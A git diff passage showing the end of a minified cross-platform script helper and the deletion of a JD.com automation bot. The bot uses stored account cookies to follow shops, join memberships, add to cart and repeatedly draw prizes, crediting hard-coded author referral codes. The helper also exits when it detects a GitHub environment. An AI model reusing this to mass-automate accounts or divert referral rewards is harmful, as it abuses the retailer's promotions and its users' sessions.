Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fansa.js b/backUp/jd_fansa.js deleted file mode 100644 index d6c4c61..0000000 --- a/backUp/jd_fansa.js +++ /dev/null @@ -1,563 +0,0 @@ -/** - -**/ - -const { da } = require('date-fns/locale'); - -const $ = new Env("超店会员福利社"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - console.log('更新ck'); - continue - } - authorCodeList = [ - '67da87cee588481b886d60af864bf59c', - 'ab9643010262431da639ef9d5533fe8d', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode['actorUuid'] ? ownCode['actorUuid'] : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = 'dz2109100001616222' - $.activityShopId = '1000016162' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await superFans(); - await $.wait(2000); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function superFans() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log('去助力 -> '+$.authorCode) - await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('shop/league/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - await task('shop/league/checkOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}&actorUuid=${$.actorUuid}`) - $.log("\n关注店铺") - if (!$.activityContent['followShop'].allStatus) { - await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=1&taskValue=1`) - } else { - $.log("已经关注过了\n") - // return - } - $.log("\n加入店铺会员"); - if ($.openCardStatus) { - taskList = $.openCardStatus.cardList.filter((x) => !x.status); - for (const vo of taskList) { - $.log(`去加入${vo.name}`); - if (vo.value === vo.value2) { - await bindWithVender( - { - venderId: `${vo.value}`, - bindByVerifyCodeFlag: 1, - registerExtend: {}, - writeChildFlag: 0, - activityId: $.openCardActivityId, - channel: 401, - }, - vo.value - ); - } else { - await bindWithVender( - { - venderId: `${vo.value}`, - shopId: `${vo.value2}`, - bindByVerifyCodeFlag: 1, - registerExtend: {}, - writeChildFlag: 0, - activityId: $.openCardActivityId, - channel: 401, - }, - vo.value - ); - } - await $.wait(1500); - await task( - "shop/league/checkOpenCard", - `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode - }&pin=${encodeURIComponent($.secretPin)}` - ); - await $.wait(2000); - } - - $.log("\n加入购物车") - if (!$.activityContent['addSku'].allStatus) { - await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=2&taskValue=2`) - } else { - $.log("已经关注过了\n") - } - - $.startDraw =true - while($.startDraw){ - await task('shop/league/startDraw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`) - } - } else { - $.log("没有获取到对应的任务。\n"); - } - } else { - $.log("无法顺利的获取到活动信息。") - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'shop/league/startDraw': - if(data.result){ - console.log(data.data.name) - } - break; - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - break; - case 'wxActionCommon/getUserInfo': - if (data.data.yunMidImageUrl) { - if ($.index === 1) { - ownCode['pinImg'] = data.data.yunMidImageUrl - ownCode['nickname'] = data.data.nickname - } - $.pinImg = data.data.yunMidImageUrl - } else { - if ($.index === 1) { - ownCode['pinImg'] = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - ownCode['nickname'] = data.data.nickname - } - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - } - break; - case 'shop/league/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode['actorUuid'] = data.data.actorUuid - console.log("你的助力码 -> "+ownCode['actorUuid']) - } - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case 'shop/league/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'shop/league/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`获得【${data.data.addBeanNum}】京豆\n`) - } - if (data.data.addScore) { - $.log(`获得【${data.data.addScore}】积分\n`) - } - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - if(data.errorMessage.includes('您的抽奖次数不足')){ - $.startDraw = false - } - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & 